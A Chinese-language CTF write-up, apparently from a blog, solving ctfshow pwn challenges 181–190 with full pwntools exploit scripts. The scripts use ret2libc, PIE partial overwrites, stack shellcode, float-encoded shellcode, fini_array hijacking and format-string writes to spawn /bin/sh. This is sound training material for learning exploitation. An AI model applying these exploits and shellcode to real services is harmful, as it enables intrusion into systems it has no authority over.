前言 这段时间没搞过pwn了,发现ctfshow wp更新了,那就来学一下吧😋(绝对不是这个原因🙅)
随缘更~~
181–ret2text 直接就是栈溢出了
能覆盖返回地址三字节
函数表里面有个Mid函数读flag,直接返回即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from tw11ty import *if __name__ == '__main__' : IPort = 'pwn.challenge.ctf.show 28220' pwnfile = './181' libc_name = '/lib/x86_64-linux-gnu/libc.so.6' elf = ELF(pwnfile) io = init(pwnfile, IPort, libc_name) payload = b'a' *0x16 + b'\xD6\x85\x04' sl(payload) itr()
182–重定向输出 1 2 3 4 5 6 int init () { setvbuf(_bss_start, 0LL , 2 , 0LL ); setvbuf(stdin , 0LL , 2 , 0LL ); return fclose(_bss_start); }
183–ret2libc 栈溢出,打ret2libc hint给了libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from tw11ty import *if __name__ == '__main__' : IPort = 'pwn.challenge.ctf.show 28312' pwnfile = './183' libc_name = '/lib/x86_64-linux-gnu/libc.so.6' elf = ELF(pwnfile) io = init(pwnfile, IPort, libc_name) prdi = 0x0000000000400873 ret = 0x0000000000400546 ru(b'0x' ) puts_addr = int (r(12 ),16 ) leak('puts_addr' , puts_addr) libc = LibcSearcher("puts" , puts_addr) libc_base = puts_addr - libc.dump('puts' ) system_addr = libc_base + libc.dump('system' ) bin_sh = libc_base + libc.dump('str_bin_sh' ) leak('libc_base' , libc_base) payload = b'a' *0x68 + p64(ret) + p64(prdi) + p64(bin_sh) + p64(system_addr) sl(payload) itr()
184–pie_修改低位 栈溢出
开了pie,覆盖返回地址低2字节为0x?735(bin)
十六分之一的概率,没有写爆破脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from tw11ty import *if __name__ == '__main__' : IPort = 'pwn.challenge.ctf.show 28107' pwnfile = './184' libc_name = '/lib/i386-linux-gnu/libc.so.6' elf = ELF(pwnfile) io = init(pwnfile, IPort, libc_name) payload = b'a' *0x20 + p16(0xa735 ) s(payload) itr()
185–ret2shellcode 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 int ctfshow () { char s[36 ]; puts ("What's your name?" ); fflush(stdout ); gets(s); puts ("What's your favorite PWN's Type?" ); puts ("1.odd number is stack\n2.even number is heap" ); fflush(stdout ); __isoc99_scanf("%d" , &type); if ( (type & 1 ) != 0 ) printf ("Hello %s,%d is interesting" , s, type); else printf ("Hello %s,%d is challenging" , s, type); return fflush(stdout ); }
知识点 :
printf 这样的函数不是直接打印到屏幕上的,而是先放在一个缓冲区中(stdout)中。如果收到了一个换行符,就会把这个缓冲区的内容打印到屏幕上,并清空。而 fflush 的作用就是直接把缓冲区的内容打印到屏幕上,并清空缓冲区。不必等换行符。
不好二次挟持控制流,由于没开NX,往栈上写shellcode 找一些有关esp的gadget来调栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *from tw11ty import *if __name__ == '__main__' : IPort = 'pwn.challenge.ctf.show 28272' pwnfile = './185' libc_name = '/lib/i386-linux-gnu/libc.so.6' elf = ELF(pwnfile) rop = ROP(pwnfile) io = init(pwnfile, IPort, libc_name) puts_plt = elf.sym['puts' ] puts_got = elf.got['puts' ] printf = elf.sym['printf' ] payload = b'\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80' .ljust(0x2c , b'\x00' ) + p32(0x08048451 ) + asm("sub esp, 0x30; mov eax, esp; call eax" ) sla(b'What\'s your name?' , payload) sla(b'1.odd number is stack\n2.even number is heap' , str (1 )) itr()
186–shellcode绕过 由mmap创造出来了一片可执行区域
check函数 反转字符串
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from tw11ty import *if __name__ == '__main__' : IPort = 'pwn.challenge.ctf.show 28217' pwnfile = './186' libc_name = '/lib/i386-linux-gnu/libc.so.6' elf = ELF(pwnfile) io = init(pwnfile, IPort, libc_name) sh = asm(shellcraft.sh())[::-1 ] s(sh) itr()
187–浮点数shellcode绕过 pctf 2016 fixedpoint
https://www.voidsecurity.in/2016/04/plaid-ctf-2016-fixedpoint.html
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #include <stdlib.h> #include <sys/mman.h> #include <stdio.h> int main (int argc, char ** argv) { float * array = mmap(0 , sizeof (float )*8192 , 7 , MAP_PRIVATE|MAP_ANONYMOUS, -1 , 0 ); int i; int temp; float ftemp; for (i = 0 ; i < 8192 ; i++) { if (!scanf ("%d" , &temp)) break ; array [i] = ((float )temp)/1337.0 ; } write(1 , "here we go\n" , 11 ); (*(void (*)())array )(); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 #include <stdio.h> #include <string.h> #include <capstone/capstone.h> int disass (unsigned int num, char *code) { csh handle; cs_insn *insn; size_t count = 0 ; size_t inssz = 0 ; if (cs_open(CS_ARCH_X86, CS_MODE_32, &handle) != CS_ERR_OK) return EXIT_FAILURE; count = cs_disasm(handle, code, sizeof (float ), 0 , 0 , &insn); if (count > 0 ) { for (int i = 0 ; i < count; i++) inssz += insn[i].size; if (inssz == sizeof (float )) { for (int i = 0 ; i < count; i++) printf ("%d :\t%s\t\t%s\n" , num, insn[i].mnemonic, insn[i].op_str); } cs_free(insn, count); } cs_close(&handle); return 0 ; } int main (int argc, char **argv) { if (argc != 3 ) { fprintf (stderr , "Usage: %s <from> <till>\n" , argv[0 ]); return EXIT_FAILURE; } int from = atoi(argv[1 ]); int till = atoi(argv[2 ]); char opcode[8 ] = {0 }; float bytes; for (int num = from; num <= till; num++) { bytes = num / 1337.0 ; memcpy (opcode, (char *)&bytes, sizeof (float )); disass(num, opcode); } return 0 ; }
扩大范围找到可用gadget即可
这里直接抄了(偷懒zzz)
由于没开NX,可以往栈上写shellcode执行,控制一下寄存器就行了
攻击思路:先构造一个read来往栈上写shellcode,然后调整寄存器值,利用call
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import *from tw11ty import *if __name__ == '__main__' : IPort = 'pwn.challenge.ctf.show 28258' pwnfile = './187' libc_name = '/lib/i386-linux-gnu/libc.so.6' elf = ELF(pwnfile) rop = ROP(pwnfile) libc = ELF(libc_name) io = init(pwnfile, IPort, libc_name) sh = asm(shellcraft.i386.linux.sh()) s(b"-22942\n" ) s(b"-3701\n" ) s(b"64931\n" ) s(b"64931\n" ) s(b"72953\n" ) s(b"73320\n" ) s(b"73320\n" ) s(b"73320\n" ) s(b"73320\n" ) s(b"73320\n" ) s(b"73320\n" ) s(b"21526\n" ) s(b"0\n" *(8192 -12 )) ru(b'go' ) s(b"\x90" *0x100 +sh+b'\n' ) itr()
188–login爆破 爆破完了就是ret2libc
爆破脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import stringdef reverse_hash (target_v3 ): MOD = 2018110700000 MULT = ord ('u' ) charset = string.ascii_letters + string.digits + string.punctuation def reverse_step (v3 ): for char in charset: char_value = ord (char) if (v3 - char_value) % MULT == 0 : return char return None def find_string (v3 ): result = [] while v3 > 0 : char = reverse_step(v3) if char: result.append(char) v3 = (v3 - ord (char)) else : break return '' .join(reversed (result)) return find_string(target_v3) target_v3 = 22493966389 possible_str = reverse_hash(target_v3) print (f"Possible string: {possible_str} " )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import *from tw11ty import *from LibcSearcher import *if __name__ == '__main__' : IPort = 'pwn.challenge.ctf.show 28182' pwnfile = './188' libc_name = "/lib/x86_64-linux-gnu/libc.so.6" elf = ELF(pwnfile) rop = ROP(pwnfile) io = init(pwnfile, IPort, libc_name) sla(b'Please input your name:' , b'wyBTs' ) prdi = 0x0000000000400a93 payload = b'a' *0x78 + p64(0x0000000000400a93 ) + p64(elf.got['puts' ]) + p64(elf.sym['puts' ]) + p64(elf.sym['ctfshow' ]) sla(b'Please input your code to save\n' , payload) puts_addr = uu64(r64()) libc = LibcSearcher("puts" , puts_addr) libc_base = puts_addr - libc.dump("puts" ) system_addr = libc_base + libc.dump('system' ) bin_sh = libc_base + libc.dump('str_bin_sh' ) payload = b'a' *0x78 + p64(0x0000000000400a93 ) + p64(bin_sh) + p64(0x000000000040028e ) + p64(system_addr) sla(b'Please input your code to save\n' , payload) itr()
189–fini_array利用 静态编译去了符号表(恼)
由_start找到main,稍微修复一下,这里题目比较简单就手动修复了
符号表修复方法:
基于签名文件的符号表还原
FLIRT
RIZZO
Lscan
Syms2ELF
基于BinDiff的符号表还原
Zynamic Bindiif
Diaphora
结合调试发现能过够实现任意地址一次写
使用fini_array来进行利用。byte_4B9330为2字节长度,循环256次后会上溢
fini_array利用:fini_array劫持 - 先知社区
libc_csu_init 在 main 开始前执行 , libc_csu_fini 在 main执行完后执行
后面需要再利用ret2syscall进行调用execve(‘/bin/sh’, 0, 0)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from tw11ty import *def _ (addr, data ): sa(b"addr:" , str (addr)) sa(b"data:" , data) if __name__ == '__main__' : IPort = 'pwn.challenge.ctf.show 28122' pwnfile = './189' libc_name = '/lib/x86_64-linux-gnu/libc.so.6' elf = ELF(pwnfile) io = init(pwnfile, IPort, libc_name) fini_array = 0x4b40f0 main = 0x401B6D libc_csu_fini = 0x402960 bss = 0x4b92e0 prax = 0x000000000041e4af prdi = 0x0000000000401696 prsi = 0x0000000000406c30 prdx = 0x0000000000446e35 syscall = 0x00000000004022b4 lret = 0x0000000000401c4b ret = 0x0000000000401016 pop = fini_array + 0x10 _(fini_array, p64(libc_csu_fini) + p64(main)) _(bss, b'/bin/sh' ) _(pop, p64(prax) + p64(59 ) + p64(prdi)) _(pop+0x18 , p64(bss) + p64(prsi) + p64(0 )) _(pop+0x30 , p64(prdx) + p64(0 ) + p64(syscall)) _(fini_array, p64(lret)+p64(ret)) itr()
190–32位非栈上格式化字符串 改fgets_got为system需要泄露libc,远程libc版本为2.27-3ubuntu1.6_i386
(ctfshow libc也是一槽点)
本地用了2.27-3ubuntu1.6_i386
执行到snprintf时的栈布局
)
由于是多次格式化字符串漏洞,所以可以先泄露libc,然后利用ebp的双连指针来实现任意地址修改。
利用格式化字符串漏洞泄露libc
利用双连指针 a->b->c ,使用%n修改b->ret
利用指针b->ret来修改ret的值为onegadget即可
本地通,远程估计是onegadget的问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from tw11ty import *from LibcSearcher import *if __name__ == '__main__' : context.log_level = 'info' IPort = 'pwn.challenge.ctf.show 28250' pwnfile = './190' libc_name = '/ctf/work/glibc-all-in-one/libs/2.27-3ubuntu1.5_i386/libc.so.6' elf = ELF(pwnfile) io = init(pwnfile, IPort, libc_name) sl(b'%p-%4$p' ) ru(b'0x' ) libc_base = int (r(8 ), 16 ) - 0x1db808 leak("libc_base" , libc_base) ru(b'0x' ) stack = int (r(8 ), 16 ) ret = stack + 4 link1 = ret + 0x28 link2 = ret + 0x2c leak("stack" , stack) leak("ret" , ret) leak("link1" , link1) leak("link2" , link2) ogg = [0x3d2a3 , 0x3d2a5 , 0x3d2a9 , 0x3d2b0 , 0x3d2d3 , 0x3d2d4 , 0x67ccf , 0x67cd0 , 0x137eee , 0x137eef ] one = libc_base + ogg[0 ] leak("one" , one) pad1 = ret & 0xffff leak("pad1" , pad1) p1 = b'%' + str (pad1).encode() + b"c%23$hn" sl(p1) pad2 = (ret+2 ) & 0xffff leak("pad2" , pad2) p2 = b'%' + str (pad2).encode() + b"c%24$hn" sl(p2) on1 = one & 0xffff on2 = one >> 16 & 0xffff leak("on1" , on1) leak("on2" , on2) p3 = b'%' + str (on1).encode() + b"c%59$hn" p3 += b'%' + str (on2-on1).encode() + b"c%61$hn" sl(p3) itr() io.close()